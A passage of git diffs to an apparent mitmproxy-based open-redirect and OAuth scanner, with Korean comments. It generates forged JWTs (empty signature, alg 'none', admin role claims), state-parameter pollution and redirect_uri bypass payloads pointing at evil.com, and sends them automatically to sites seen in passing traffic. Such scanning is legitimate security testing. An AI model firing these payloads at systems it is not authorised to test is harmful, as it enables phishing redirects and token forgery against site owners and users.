f"https://{parsed.netloc}{parsed.path}?state={malicious_jwt}&redirect_uri=https://evil.com" + + # 48. JWT 빈 서명 우회 + def _mutate_pattern48(self, original: str) -> str: + import base64 + import json + + # 정상적인 헤더이지만 서명은 빈 값 + header = {"alg": "HS256", "typ": "JWT"} + payload = {"redirect": "https://evil.com"} + + header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=') + payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=') + + # 서명 부분만 비우기 + malicious_jwt = f"{header_b64}.{payload_b64}." + + parsed = urlparse(original) + return f"https://{parsed.netloc}{parsed.path}?state={malicious_jwt}&redirect_uri=https://evil.com" + + # 49. State 파라미터 오염 공격 + def _mutate_pattern49(self, original: str) -> str: + parsed = urlparse(original) + query = parse_qs(parsed.query) + + # 원본 쿼리 파라미터 유지하면서 state 여러 개 추가 + evil_params = [] + for key, values in query.items(): + for value in values: + evil_params.append(f"{key}={value}") + + # 여러 state 파라미터 추가 (파서 혼동 유발) + evil_params.extend([ + "state=legitimate_state", + "state=https://evil.com", + "State=https://evil.com", # 대문자 + "STATE=https://evil.com", # 모두 대문자 + "redirect_uri=https://evil.com" + ]) + + evil_query = "&".join(evil_params) + return f"https://{parsed.netloc}{parsed.path}?{evil_query}" + + def _mutate_pattern50(self, original: str) -> str: + """50. State 파라미터 대소문자 변형""" + parsed = urlparse(original) + base_url = f"https://{parsed.netloc}{parsed.path}" + + # 대소문자 조합으로 파서 혼동 + return f"{base_url}?state=normal&State=https://evil.com&STATE=backup&redirect_uri=https://evil.com" + + # 51. JWT 헤더 조작 우회 + def _mutate_pattern51(self, original: str) -> str: + import base64 + import json + + # 헤더에 이상한 값들 넣어보기 + malicious_headers = [ + {"alg": "none", "typ": "JWT", "kid": "../../../evil.com"}, + {"alg": "HS256", "typ": "JWS"}, # typ 변경 + {"alg": "RS256", "typ": "JWT", "x5u": "https://evil.com/cert"}, # 외부 인증서 + ] + + results = [] + for header in malicious_headers: + payload = {"redirect": "https://evil.com"} + + header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=') + payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=') + + jwt_token = f"{header_b64}.{payload_b64}.fake_signature" + results.append(jwt_token) + + # 첫 번째 조작된 JWT 사용 + parsed = urlparse(original) + return f"https://{parsed.netloc}{parsed.path}?state={results[0]}&redirect_uri=https://evil.com" + + # 52. JWT 페이로드 오염 공격 + def _mutate_pattern52(self, original: str) -> str: + import base64 + import json + + # 페이로드에 다양한 클레임 주입 + malicious_payload = { + "iss": "https://evil.com", # 발급자 변조 + "aud": "evil_client", # 대상 변조 + "redirect": "https://evil.com", # 직접적인 리다이렉트 + "redirect_uri": "https://evil.com", # OAuth 파라미터 + "url": "https://evil.com", # 일반적인 URL 파라미터 + "callback": "https://evil.com", # 콜백 URL + "return_to": "https://evil.com", # 리턴 URL + "admin": True, # 권한 상승 시도 + "role": "admin" # 역할 변조 + } + + header = {"alg": "HS256", "typ": "JWT"} + + header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=') + payload_b64 = base64.urlsafe_b64encode(json.dumps(malicious_payload).encode()).decode().rstrip('=') + + jwt_token = f"{header_b64}.{payload_b64}.evil_signature" + + parsed = urlparse(original) + return f"https://{parsed.netloc}{parsed.path}?state={jwt_token}&redirect_uri=https://evil.com" '''aiohttp 세션 생성 (재사용)''' async def _get_session(self): @@ -953,227 +1083,366 @@ class OpenRedirectChecker: redirect_limiter.record_failure(str(e)) print(f"[ERROR] 요청 실패 ({url}): {e}") return {'status': 500, 'location': '', 'headers': {}} - - """ redirect_uri가 악성 패턴을 포함하는지 빠르게 검사 """ - def _is_baseline_valid(self, redirect_uri: str, base_url: str) -> bool: - try: - base_parsed = urlparse(base_url) - base_host = base_parsed.hostname - - if not base_host: - return False - - # 악성 패턴 빠른 검사 (로그 없이) - malicious_patterns = [ - "еvil.example", "[::1]", "[2001:db8", "#@", "%ff", - "/", "\", "%EF%BC%8F", "%EF%BC%BC", "evil.com" - ] - - for pattern in malicious_patterns: - if pattern in redirect_uri: - return False - - # @ 기반 우회 패턴 검사 - if "@" in redirect_uri: - at_parts = redirect_uri.split('@') - if len(at_parts) >= 2: - before_at = at_parts[0] - if '//' in before_at: - potential_domain = before_at.split('//')[-1] - if '.' in potential_domain and potential_domain != base_host: - return False - - # 일반 도메인 검증 - if "@" not in redirect_uri: - redirect_parsed = urlparse(redirect_uri) - redirect_host = redirect_parsed.hostname - if redirect_host: - return (redirect_host == base_host or redirect_host.endswith(f".{base_host}")) - - return True - - except Exception: - return False - """ Location 헤더에서 authorization code 추출 """ - def _extract_code_from_location(self, location: str) -> str: - if not location: - return "" - - try: - parsed = urlparse(location) - query = parse_qs(parsed.query) - return query.get('code', [''])[0] - except: - return "" + def _is_client_redirect_request(self, url, parsed, query): + """OAuth 콜백 감지 - OAuth 로그인 완료 후 돌아온 페이지인가 확인""" - """진짜 redirect 파라미터인지 판단""" - def _is_real_redirect_param(self, param_name, param_value): - # redirect_uri 제거하고 클라이언트 앱 파라미터들만 - obvious_redirect_params = [ - "next", "return_to", "redirect", "redirect_url", - "continue", "goto", "destination", "forward", - "callback_url", "back" + # 0. OAuth 제공자 제외 + oauth_provider_domains = [ + # Google + "accounts.google.com", "oauth2.googleapis.com", + # Facebook/Meta + "www.facebook.com", "facebook.com", "graph.facebook.com", + # Microsoft + "login.live.com", "login.microsoftonline.com", "account.live.com", + "login.windows.net", "login.microsoft.com", + # GitHub + "github.com", "api.github.com", + # Apple + "appleid.apple.com", "accounts.apple.com", + # Others + "login.yahoo.com", "accounts.twitter.com", "api.twitter.com", + "linkedin.com", "www.linkedin.com", + "kauth.kakao.com", "accounts.kakao.com", + # 추가 제외할 제공자들 + "auth0.com", "okta.com", "onelogin.com" ] + + if any(provider in parsed.netloc for provider in oauth_provider_domains): + return False + + # 1. URL 경로로 OAuth 콜백인지 확인 - 기존 OAuth 콜백 패턴 + oauth_callback_patterns = [ + '/oauth/callback', '/auth/callback', '/login/callback', + '/oauth/redirect', '/auth/return', '/sso/callback', + '/signup', '/register', + ] + + path = parsed.path.lower() + is_oauth_callback = any(pattern in path for pattern in oauth_callback_patterns) + + # 2. OAuth 응답 파라미터 확인 - URL에 아래 정보 있는지 확인 + oauth_response_params = [ + 'code', 'access_token', 'id_token', 'state', 'error', + 'from' # from=fb, from=google 등 + ] + + has_oauth_response = any(param in query for param in oauth_response_params) - if param_name in obvious_redirect_params: - return True + # 3. 소셜 로그인 패턴 감지 - 어디서 로그인했는지 확인 + def has_social_login_pattern(query_string): + import re + + # 패턴 1: 간단한 소셜 식별자 + simple_patterns = ['from=fb', 'from=facebook', 'from=google', 'from=github'] + has_simple = any(pattern in query_string.lower() for pattern in simple_patterns) + + # 패턴 2: URL 형태 + url_pattern = r'from=https?%3A%2F%2F' # from=https:// (URL 인코딩됨) + has_url = bool(re.search(url_pattern, query_string)) + + return has_simple or has_url + + query_string = parsed.query + has_social_login = has_social_login_pattern(query_string) - # 모호한 파라미터는 값으로 판단 - ambiguous_params = ["url", "target", "link", "state"] - if param_name in ambiguous_params: - if (param_value.startswith(('http', '/', '.')) or - '/' in param_value or - len(param_value) > 15): + # 4. 리다이렉트 파라미터(우리가 공격할 타겟) 확인 + client_redirect_params = [ + 'next', 'return_to', 'continue', 'redirect_uri', 'redirect_url', + 'destination', 'success_url', 'callback_url', 'goto', 'forward_to', + 'redirectUrl', 'redirectURL', 'redirect_to', 'returnUrl', 'returnURL', + 'from', 'target', 'targetUrl', 'targetURL' # 일반적인 변형들 추가 + ] + + has_redirect_param = any(param in query for param in client_redirect_params) + + # 5. OAuth 혼합 패턴 감지 (요청+응답 파라미터 동시 존재) + oauth_request_params = ['client_id', 'response_type'] + oauth_redirect_params = ['return_to', 'redirect_uri'] + has_oauth_request = any(param in query for param in oauth_request_params) + has_oauth_redirect = any(param in query for param in oauth_redirect_params) + + # 최종 판단 기준 1 - (콜백 경로 + OAuth 파라미터) 또는 소셜 로그인 있고, 리다이렉트 파라미터 또는 state 있으면 → OAuth 콜백! + if (is_oauth_callback and has_oauth_response) or has_social_login: + if has_redirect_param or 'state' in query: + print(f"[CLIENT_OAUTH] 📱 OAuth 콜백 감지: {parsed.netloc}") return True + # 최종 판단 기준 2 - OAuth 요청 파라미터와 리다이렉트 파라미터가 둘 다 있으면 → OAuth 혼합 패턴! + if has_oauth_request and has_oauth_redirect: + print(f"[CLIENT_OAUTH] 📱 OAuth 혼합 패턴 감지: {parsed.netloc}") + return True + return False - def _is_oauth_request_worth_testing(self, url, parsed, query): - """OAuth 콜백 완료 후 클라이언트 앱 테스트""" + def _is_self_oauth_request(self, url, parsed, query): + """자체 OAuth - authorize 엔드포인트 요청인지 확인 (로그인 불필요)""" - # OAuth 제공자 도메인은 제외 + # 0. OAuth 제공자 도메인 제외 oauth_provider_domains = [ - "accounts.google.com", - "www.facebook.com", - "github.com", - "login.microsoftonline.com" + "accounts.google.com", "oauth2.googleapis.com", + "www.facebook.com", "facebook.com", "graph.facebook.com", + "github.com", "api.github.com", + "login.microsoftonline.com", "login.live.com", + "account.live.com", "login.windows.net", "login.microsoft.com", + "appleid.apple.com", "accounts.apple.com", + "login.yahoo.com", "accounts.twitter.com","api.twitter.com", + "linkedin.com", "www.linkedin.com", + "okta.com", + "auth0.com", "onelogin.com", ] - - # OAuth 제공자 요청은 스킵 - if any(provider in parsed.netloc for provider in oauth_provider_domains): - print(f"[DEBUG] ❌ OAuth 제공자 요청 - 클라이언트 테스트 대상 아님: {parsed.netloc}") - return False - - # 클라이언트 앱의 OAuth 콜백/로그인 경로들 - oauth_callback_paths = [ - "/auth/callback", "/oauth/callback", "/login/callback", - "/auth", "/login", "/sso", "/signin", "/callback" - ] - - has_oauth_path = any(path in parsed.path for path in oauth_callback_paths) - if not has_oauth_path: - return False - - # OAuth 성공 파라미터 확인 - oauth_success_params = ["code", "access_token", "id_token"] - has_oauth_success = any(param in query for param in oauth_success_params) - - # redirect 관련 파라미터 확인 - redirect_params = ["next", "return_to", "redirect", "redirect_url", "continue", "goto", "state"] - has_redirect_param = any(param in query for param in redirect_params) - - if has_oauth_path and (has_oauth_success or has_redirect_param): - print(f"[DEBUG] 🎯 클라이언트 OAuth 콜백/로그인 URL 감지!") - print(f"[DEBUG] Host: {parsed.netloc}") - print(f"[DEBUG] Path: {parsed.path}") - print(f"[DEBUG] OAuth success: {has_oauth_success}") - print(f"[DEBUG] Has redirect: {has_redirect_param}") - return True - - return False - """ Open Redirect 탐지 로직 - 요청 감지 단계 """ + if any(provider in parsed.netloc for provider in oauth_provider_domains): + return False + + # 1. 자체 OAuth 엔드포인트 패턴 확인 + oauth_endpoints = [ + '/oauth/authorize', '/oauth/auth', '/auth/oauth', + '/sso/authorize', '/api/oauth/authorize', + '/v1/oauth/authorize', '/oauth2/authorize', + '/oauth2/v1/authorize', + '/authorize', # 일반적인 authorize 추가 + '/auth/realms', # Keycloak 패턴 + '/connect/authorize' # IdentityServer 패턴 + ] + + path = parsed.path.lower() + is_oauth_path = any(endpoint in path for endpoint in oauth_endpoints) + + # 2. OAuth 요청 파라미터 확인 - OAuth 로그인에 필요한 정보들이 있는지 확인 + oauth_request_params = ['client_id', 'redirect_uri', 'response_type', 'scope'] + has_oauth_params = any(param in query for param in oauth_request_params) + + # 3. 표준 OAuth 파라미터 조합 확인 - OAuth의 핵심 3요소가 모두 있는지 확인 + has_standard_oauth = ( + 'client_id' in query and + 'redirect_uri' in query and + 'response_type' in query + ) + + # 최종 판단 기준 - 조건 1: (OAuth 경로 + OAuth 파라미터) 있거나 조건 2: 표준 OAuth 3요소 모두 있으면 → 자체 OAuth 시스템! + if (is_oauth_path and has_oauth_params) or has_standard_oauth: + print(f"[SELF_OAUTH] 🏠 자체 OAuth 제공자 감지: {parsed.netloc}") + return True + + return False + async def test(self, flow: http.HTTPFlow): + """테스트 시작점 - url 받아와서 oauth 콜백/자체 oauth인지 체크""" url = flow.request.pretty_url parsed = urlparse(url) - query = parse_qs(parsed.query) + query = parse_qs(parsed.query) - # GET 요청만 처리 if flow.request.method != "GET": return - # OAuth 요청인지 먼저 확인 (API 검증 전에) - if not self._is_oauth_request_worth_testing(url, parsed, query): - return # OAuth 요청이 아니면 바로 종료 - - # 이미 이 타겟을 테스트 중인지 확인 - target_key = f"{parsed.netloc}" - if target_key in self.testing_targets: - print(f"[OAUTH_SKIP] 이미 {target_key} 테스트 진행 중 - 중복 테스트 방지") + # OAuth 관련 요청인지 확인 + if (self._is_client_redirect_request(url, parsed, query) or + self._is_self_oauth_request(url, parsed, query)): + await self._test_oauth_redirect(url, parsed, query) return - # 테스트 시작 표시 - self.testing_targets.add(target_key) + async def _test_oauth_redirect(self, url, parsed, query): + """OAuth 리다이렉트 취약점 테스트""" + + # 중복 테스트 방지 + endpoint_key = f"OAUTH:{parsed.netloc}{parsed.path}" + + if endpoint_key in self.tested_endpoints: + return # 이미 테스트했으므로 패스 + if endpoint_key in self.testing_targets: + return # 현재 테스트 중이므로 패스 + + self.testing_targets.add(endpoint_key) try: - print(f"[CLIENT_TARGET] 🎯 클라이언트 앱 Open Redirect 테스트 대상: {parsed.netloc}") + print(f"[START] 🔍 테스트 시작: {parsed.netloc}{parsed.path}") + print(f"[TARGET] 타겟: {parsed.netloc}") - # redirect 파라미터가 있는지 확인 - redirect_param = None - original_redirect_value = None + # 1. state 파라미터 확인 후 조작 + if 'state' in query: + await self._test_state_parameter_manipulation(url, parsed, query) + + # 2. 테스트할 파라미터들 찾기 + test_params = [] - # 클라이언트 앱 파라미터들만 체크 - redirect_params = [ - "next", "return_to", "redirect", "redirect_url", - "continue", "goto", "destination", "callback_url", - "forward", "state" # state도 리다이렉트용으로 쓰이기도 함 + # redirect_uri (자체 OAuth에서 주로 사용) + if 'redirect_uri' in query: + test_params.append(('redirect_uri', query['redirect_uri'][0])) + + # 클라이언트 리다이렉트 파라미터들 + client_redirect_params = [ + 'next', 'return_to', 'continue', 'redirect_url', + 'destination', 'success_url', 'callback_url', 'goto', 'forward_to', + 'redirectUrl', 'from', 'target' ] - - for param in redirect_params: - if param in query: - value = query[param][0] - if self._is_real_redirect_param(param, value): - redirect_param = param - original_redirect_value = value - break - if not redirect_param: - print(f"[OAUTH_SKIP] redirect 파라미터 없음 - 테스트 건너뛰기") + for param in client_redirect_params: + if param in query: + test_params.append((param, query[param][0])) + + # 테스트할 파라미터가 없으면 종료 + if not test_params: + print(f"[OAUTH] 리다이렉트 파라미터 없음 - 테스트 ❌") return - print(f"[OPEN_REDIRECT] 파라미터: {redirect_param}={original_redirect_value}") + print(f"[OAUTH] 📍 발견된 파라미터들: {test_params}") print(f"[OPEN_REDIRECT] 총 우회 패턴: {len(self.bypass_payloads)}") print("-" * 50) - - redirect_limiter.reset_for_new_target() - tested_count = 0 + redirect_limiter.reset_for_new_target() success_count = 0 - - # 모든 우회 패턴 테스트 - for payload in self.bypass_payloads: - try: - print(f"[{tested_count+1:2d}/{len(self.bypass_payloads)}] {payload.name}", end=" ... ") + + # 3. 각 파라미터별로 모든 우회 패턴 테스트 + for param_name, original_value in test_params: + print(f"\n[OAUTH] 🎯 {param_name} 파라미터 테스트 시작") + + for i, payload in enumerate(self.bypass_payloads, 1): + print(f"[{i:2d}/{len(self.bypass_payloads)}] {payload.name}", end=" ... ") result = await self._test_bypass_pattern( - url, query, parsed, original_redirect_value, payload, redirect_param, headers={} + url, query, parsed, original_value, payload, param_name ) - tested_count += 1 if result: success_count += 1 print("🚨 VULNERABLE!") else: print("✓") - - except Exception as e: - print(f"❌ ERROR: {e}") - tested_count += 1 - continue + + # 조기 종료 체크 (연속 실패) + can_proceed = await redirect_limiter.wait_if_needed(payload.name) + if not can_proceed: + print(f"\n[TARGET_ABANDON] 🚫 타겟 포기로 인한 테스트 조기 종료") + break + + # 한 파라미터에서 포기했으면 다른 파라미터도 건너뛰기 + if redirect_limiter.should_abandon_target: + break print("-" * 50) - print(f"[OPEN_REDIRECT] ✅ 테스트 완료!") - - if success_count > 0: - print(f"[OPEN_REDIRECT] 🚨 Open Redirect 취약점: {success_count}개") - else: - print(f"[OPEN_REDIRECT] ✅ 취약점 없음") + print(f"[OAUTH] ✅ OAuth 테스트 완료: {success_count}개 취약점") + except Exception as e: + print(f"[ERROR] OAuth 테스트 실패: {e}") finally: - # 테스트 완료 후 제거 - self.testing_targets.discard(target_key) + self.testing_targets.discard(endpoint_key) + self.tested_endpoints.add(endpoint_key) + await self.close_session() + + async def _test_state_parameter_manipulation(self, url, parsed, query): + """State 파라미터 조작 테스트""" + print(f"[STATE_TEST] 🔍 State 파라미터 조작 테스트") + + # 원본 state 확인 + original_state = query['state'][0] + print(f"[STATE_TEST] 원본 state: {original_state[:50]}...") + + # State 공격 패턴들 + state_attacks = { + "state_direct_url": "https://evil.com", + "state_protocol_relative": "//evil.com", + "state_json_redirect": '{"redirect": "https://evil.com"}', + "state_json_return_to": '{"return_to": "https://evil.com"}', + "state_json_callback": '{"callback": "https://evil.com"}', + "state_query_redirect": "redirect=https://evil.com", + "state_query_return_to": "return_to=https://evil.com", + "state_base64_json": "eyJyZWRpcmVjdCI6ICJodHRwczovL2V2aWwuY29tIn0=", + "state_jwt_attack": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJyZWRpcmVjdCI6Imh0dHBzOi8vZXZpbC5jb20ifQ.", + "state_original_append": f"{original_state}&redirect=https://evil.com", + "state_original_pipe": f"{original_state}|https://evil.com", + "state_url_encoded": "https%3A//evil.com" + } + + success_count = 0 + + for i, (attack_name, malicious_state) in enumerate(state_attacks.items(), 1): + print(f"[STATE_TEST] [{i:2d}/{len(state_attacks)}] {attack_name}") + + # 원본 쿼리 복사하고 state만 변경 + modified_query = query.copy() + modified_query['state'] = [malicious_state] + + # 새 URL 생성 + new_query_string = urlencode(modified_query, doseq=True) + test_url = urlunparse(parsed._replace(query=new_query_string)) + + # 요청 전송 + response = await self._send_request(test_url) + + # State 전용 취약점 분석 + if await self._analyze_state_vulnerability(url, test_url, malicious_state, response, attack_name): + success_count += 1 + print(f"[STATE_TEST] ✅ 취약점 발견! {attack_name}") + else: + print(f"[STATE_TEST] ✓ {attack_name}") + + # 레이트 리미팅 + await redirect_limiter.wait_if_needed(f"state_{attack_name}") + + print(f"[STATE_TEST] ✅ State 테스트 완료: {success_count}/{len(state_attacks)} 취약점 발견") + + async def _analyze_state_vulnerability(self, original_url, test_url, malicious_state, response, attack_name): + """State 파라미터 취약점 전용 분석""" + status = response['status'] + location = response['location'] + + # 리다이렉트 응답인지 확인 + if status not in [301, 302, 303, 307, 308]: + return False + + if not location: + return False + + # 악성 도메인으로 리다이렉트되었는지 확인 + if self._is_redirected_to_malicious_domain(location): + + print(f"[🎯 VULNERABILITY CONFIRMED] OAuth State 조작 취약점 발견!") + + await self._report_state_vulnerability( + original_url, test_url, malicious_state, + location, attack_name + ) + return True + + return False + + async def _report_state_vulnerability(self, original_url, test_url, malicious_state, location, attack_name): + """State 파라미터 취약점 전용 리포트""" + + description = ( + f"OAuth State Parameter Manipulation 취약점 발견!\n\n" + f"• 공격 방법: {attack_name}\n" + f"• 원본 URL: {original_url}\n" + f"• 조작된 state 값: {malicious_state}\n" + f"• 테스트 URL: {test_url}\n" + f"• 실제 리다이렉트 위치: {location}\n\n" + f"🚨 State 파라미터 조작을 통한 피싱 공격이 가능합니다!\n" + ) + + report_vuln( + title="OAuth State Parameter Manipulation Vulnerability", + desc=description, + status="HIGH", + uri=test_url + ) + + print(f"🎯 OAuth State 조작 취약점 발견 및 보고 완료!") """ 우회 URL 생성 및 요청 전송 """ - async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_value, payload, redirect_param, headers): + async def _test_bypass_pattern(self, original_url, query, parsed_url, original_redirect_value, payload, redirect_param): - # 레이트 리미팅 체크 추가 + # 레이트 리미팅 체크 can_proceed = await redirect_limiter.wait_if_needed(payload.name) if not can_proceed: + print(f"[TARGET_ABANDON] ⏹️ 패턴 테스트 중단: {payload.name}") return False try: - # 원본 redirect 값에 우회 패턴 적용 + # 1. 테스트 시작 + print(f"[PATTERN] 🚀 {payload.name} 테스트 시작") + + # 2. 우회 URL 생성 if original_redirect_value.startswith('http'): # 이미 완전한 URL인 경우 bypassed_redirect = payload.mutate(original_redirect_value) @@ -1182,27 +1451,31 @@ class OpenRedirectChecker: full_original = f"https://{original_redirect_value}" bypassed_redirect = payload.mutate(full_original) - # 새로운 쿼리 구성 + # 3. 파라미터 보존 전략 - 원본 url의 다른 파라미터들은 그대로 두고 redirect 파라미터만 악성으로 바꿈 modified_query = query.copy() - modified_query[redirect_param] = [bypassed_redirect] # 동적 파라미터명 + modified_query[redirect_param] = [bypassed_redirect] + new_query_string = urlencode(modified_query, doseq=True) test_url = urlunparse(parsed_url._replace(query=new_query_string)) - # 요청 전송 - response = await self._send_request(test_url, headers) + # 4. 요청 전송 + response = await self._send_request(test_url) - # Open Redirect 응답 분석 - result = await self._analyze_response( - original_url, test_url, bypassed_redirect, response, payload - ) + # 5. 응답 분석 + result = await self._analyze_response(original_url, test_url, bypassed_redirect, response, payload) + + if result: + print(f"[PATTERN] ✅ {payload.name} → SUCCESS") + else: + print(f"[PATTERN] ✅ {payload.name} → SAFE") return result except Exception as e: - print(f"[ERROR] {payload.name} 테스트 실패: {e}") + print(f"[PATTERN] ❌ {payload.name} → ERROR: {e}") return False - """ Open Redirect 전용 응답 분석 """ + """ 응답 분석 """ async def _analyze_response(self, original_url, test_url, bypassed_redirect, response, payload): status = response['status'] location = response['location'] @@ -1216,8 +1489,9 @@ class OpenRedirectChecker: # 악성 도메인으로 리다이렉트되었는지 확인 if self._is_redirected_to_malicious_domain(location): - print(f"[🎯 VULNERABILITY] {payload.name} Open Redirect 성공!") - print(f"[CRITICAL] 악성 도메인으로 리다이렉트: {location}") + + print(f"[🎯 VULNERABILITY CONFIRMED] Open Redirect 취약점 발견!") + await self._report_open_redirect_vulnerability( original_url, test_url, bypassed_redirect, location, payload @@ -1229,8 +1503,6 @@ class OpenRedirectChecker: def _is_redirected_to_malicious_domain(self, location: str) -> bool: """실제로 악성 도메인으로 리다이렉트되었는지 확인""" - print(f"[DEBUG] 리다이렉트 분석: {location}") - try: location_parsed = urlparse(location) location_host = location_parsed.hostname @@ -1238,35 +1510,47 @@ class OpenRedirectChecker: # 실제 호스트만 확인 (URL 파라미터는 무시) if not location_host: return False + + # 메이저 OAuth 제공자 도메인이면 취약점 아님 + safe_domains = [ + # Google (구글) + "accounts.google.com", "google.com", "www.google.com", + "oauth2.googleapis.com", "accounts.youtube.com", - # Facebook 자체 도메인이면 취약점 아님 - facebook_domains = ["www.facebook.com", "facebook.com", "m.facebook.com"] - if any(fb_domain in location_host.lower() for fb_domain in facebook_domains): - print(f"[DEBUG] ❌ Facebook 내부 페이지로 리다이렉트 - 취약점 아님") + # Facebook/Meta (페이스북) + "www.facebook.com", "facebook.com", "m.facebook.com", + "graph.facebook.com", "developers.facebook.com", + + # GitHub (깃헙) ← 추가! + "github.com", "www.github.com", "api.github.com", + + # Microsoft (마이크로소프트) ← 추가! + "login.microsoftonline.com", "login.live.com", + "account.live.com", "login.windows.net", "login.microsoft.com", + "outlook.live.com", "account.microsoft.com", + ] + if any(safe_domain in location_host.lower() for safe_domain in safe_domains): return False - # 실제 악성 도메인들만 체크 + # 실제 악성 도메인들 malicious_domains = ["evil.com", "attacker.com", "malicious.site"] if any(domain in location_host.lower() for domain in malicious_domains): - print(f"[DEBUG] ✅ 실제 악성 도메인으로 리다이렉트!") + print(f"[MALICIOUS_REDIRECT] 🚨 악성 도메인으로 리다이렉트 감지: {location_host}") return True - + return False except Exception as e: - print(f"[DEBUG] 파싱 에러: {e}") return False """ 취약점 보고서 생성 """ - async def _report_open_redirect_vulnerability(self, original_url, test_url, - bypassed_redirect, location, payload): + async def _report_open_redirect_vulnerability(self, original_url, test_url, bypassed_redirect, location, payload): """Open Redirect 취약점 보고서 생성""" - pattern_name = payload.name if hasattr(payload, 'name') else str(payload) - pattern_description = payload.description if hasattr(payload, 'description') else "Unknown bypass pattern" + pattern_name = getattr(payload, 'name', 'unknown') + pattern_description = getattr(payload, 'description', 'Unknown bypass pattern') description = ( f"Open Redirect 취약점 발견!\n\n" - f"-- 상세 정보 --:\n" f"• 우회 패턴: {pattern_name}\n" f"• 설명: {pattern_description}\n" f"• 원본 URL: {original_url}\n" @@ -1275,16 +1559,24 @@ class OpenRedirectChecker: f"• 실제 리다이렉트 위치: {location}\n\n" f"🚨 이 취약점을 이용하면 피싱 공격이 가능합니다!\n" ) - + report_vuln( - title="Open Redirect Vulnerability", + title="OAuth Open Redirect Vulnerability", desc=description, - status="MEDIUM", # Open Redirect는 보통 Medium + status="MEDIUM", uri=test_url ) - print(f"[🎯 MEDIUM] Open Redirect 취약점 발견 및 보고 완료!") - print(f"[INFO] 패턴: {pattern_name}, 리다이렉트: {location}") + print(f"🎯 OAuth Open Redirect 취약점 발견 및 보고 완료!") - # TODO: 우리가 탐지하는 IdP가 제한적이기 때문에 각 IdP의 uri 패턴을 탐지하는 것도 좋아보임 - # Loaction 헤더에 담긴 인가 코드 뿐만 아니라, script나 다른 방식으로도 인가 코드가 전달될 수 있음 - \ No newline at end of file + def reset_session(self): + """새 세션 시작 (새 타겟 사이트 테스트 시)""" + if len(self.tested_endpoints) > 1000: + old_entries = list(self.tested_endpoints)[:500] + for entry in old_entries: + self.tested_endpoints.discard(entry) + + self.testing_targets.clear() + + async def cleanup(self): + """정리 작업""" + await self.close_session() From 7d378fa91fc79005d372322a3e76502c73f735c3 Mon Sep 17 00:00:00 2001 From: gyuu04 Date: Thu, 17 Jul 2025 13:59:05 +0900 Subject: [PATCH 53/56] Update open_redirect_check.py --- addon/open_redirect_check.py | 39 ++++++++++++++++++++++++------------ 1 file changed, 26 insertions(+), 13 deletions(-) diff --git a/addon/open_redirect_check.py b/addon/open_redirect_check.py index 94f20f0..f3d0c93 100644 --- a/addon/open_redirect_check.py +++ b/addon/open_redirect_check.py @@ -1058,7 +1058,7 @@ class OpenRedirectChecker: self.session = None """ 우회된 URL에 GET 요청을 보내고, 서버 응답 정보 반환 """ - async def _send_request(self, url, headers=None): + async def _send_request(self, url, headers=None, record_to_limiter=True): try: session = await self._get_session() # 세션 준비 request_headers = headers or {} # 요청 헤더 설정 - headers가 주어지지 않았다면 빈 딕셔너리 사용 @@ -1072,10 +1072,11 @@ class OpenRedirectChecker: } # 성공/실패 기록 (rate limiter용) - if response.status in [200, 301, 302, 303, 307, 308]: - redirect_limiter.record_success() - else: - redirect_limiter.record_failure(f"HTTP {response.status}") + if record_to_limiter: + if response.status in [200, 301, 302, 303, 307, 308]: + redirect_limiter.record_success() + else: + redirect_limiter.record_failure(f"HTTP {response.status}") return result @@ -1116,6 +1117,9 @@ class OpenRedirectChecker: '/oauth/callback', '/auth/callback', '/login/callback', '/oauth/redirect', '/auth/return', '/sso/callback', '/signup', '/register', + '/api/auth/v3/social/callback', # velog.io + '/social/callback', # 일반화 + '/auth/social/callback', # 변형 ] path = parsed.path.lower() @@ -1134,7 +1138,11 @@ class OpenRedirectChecker: import re # 패턴 1: 간단한 소셜 식별자 - simple_patterns = ['from=fb', 'from=facebook', 'from=google', 'from=github'] + simple_patterns = [ + 'from=fb', 'from=facebook', 'from=google', 'from=github', + 'provider=google', 'provider=facebook', + 'callback/google', 'callback/github', 'callback/facebook' # ← URL 경로 패턴 + ] has_simple = any(pattern in query_string.lower() for pattern in simple_patterns) # 패턴 2: URL 형태 @@ -1151,7 +1159,7 @@ class OpenRedirectChecker: 'next', 'return_to', 'continue', 'redirect_uri', 'redirect_url', 'destination', 'success_url', 'callback_url', 'goto', 'forward_to', 'redirectUrl', 'redirectURL', 'redirect_to', 'returnUrl', 'returnURL', - 'from', 'target', 'targetUrl', 'targetURL' # 일반적인 변형들 추가 + 'from', 'target', 'targetUrl', 'targetURL', ] has_redirect_param = any(param in query for param in client_redirect_params) @@ -1203,7 +1211,11 @@ class OpenRedirectChecker: '/oauth2/v1/authorize', '/authorize', # 일반적인 authorize 추가 '/auth/realms', # Keycloak 패턴 - '/connect/authorize' # IdentityServer 패턴 + '/connect/authorize', # IdentityServer 패턴 + '/idp/', # ← Identity Provider 패턴 + '/signin', # ← Sign-in 패턴 + '/auth/signin', # ← Auth Sign-in 패턴 + '/identity/', # ← Identity 패턴 ] path = parsed.path.lower() @@ -1263,6 +1275,9 @@ class OpenRedirectChecker: if 'state' in query: await self._test_state_parameter_manipulation(url, parsed, query) + # 일반 리다이렉트 파라미터 테스트를 위해 Rate Limiter 리셋 + redirect_limiter.reset_for_new_target() + # 2. 테스트할 파라미터들 찾기 test_params = [] @@ -1289,8 +1304,7 @@ class OpenRedirectChecker: print(f"[OAUTH] 📍 발견된 파라미터들: {test_params}") print(f"[OPEN_REDIRECT] 총 우회 패턴: {len(self.bypass_payloads)}") print("-" * 50) - - redirect_limiter.reset_for_new_target() + success_count = 0 # 3. 각 파라미터별로 모든 우회 패턴 테스트 @@ -1368,7 +1382,7 @@ class OpenRedirectChecker: test_url = urlunparse(parsed._replace(query=new_query_string)) # 요청 전송 - response = await self._send_request(test_url) + response = await self._send_request(test_url, record_to_limiter=False) # State 전용 취약점 분석 if await self._analyze_state_vulnerability(url, test_url, malicious_state, response, attack_name): @@ -1377,8 +1391,7 @@ class OpenRedirectChecker: else: print(f"[STATE_TEST] ✓ {attack_name}") - # 레이트 리미팅 - await redirect_limiter.wait_if_needed(f"state_{attack_name}") + await asyncio.sleep(1) # 1초 대기 print(f"[STATE_TEST] 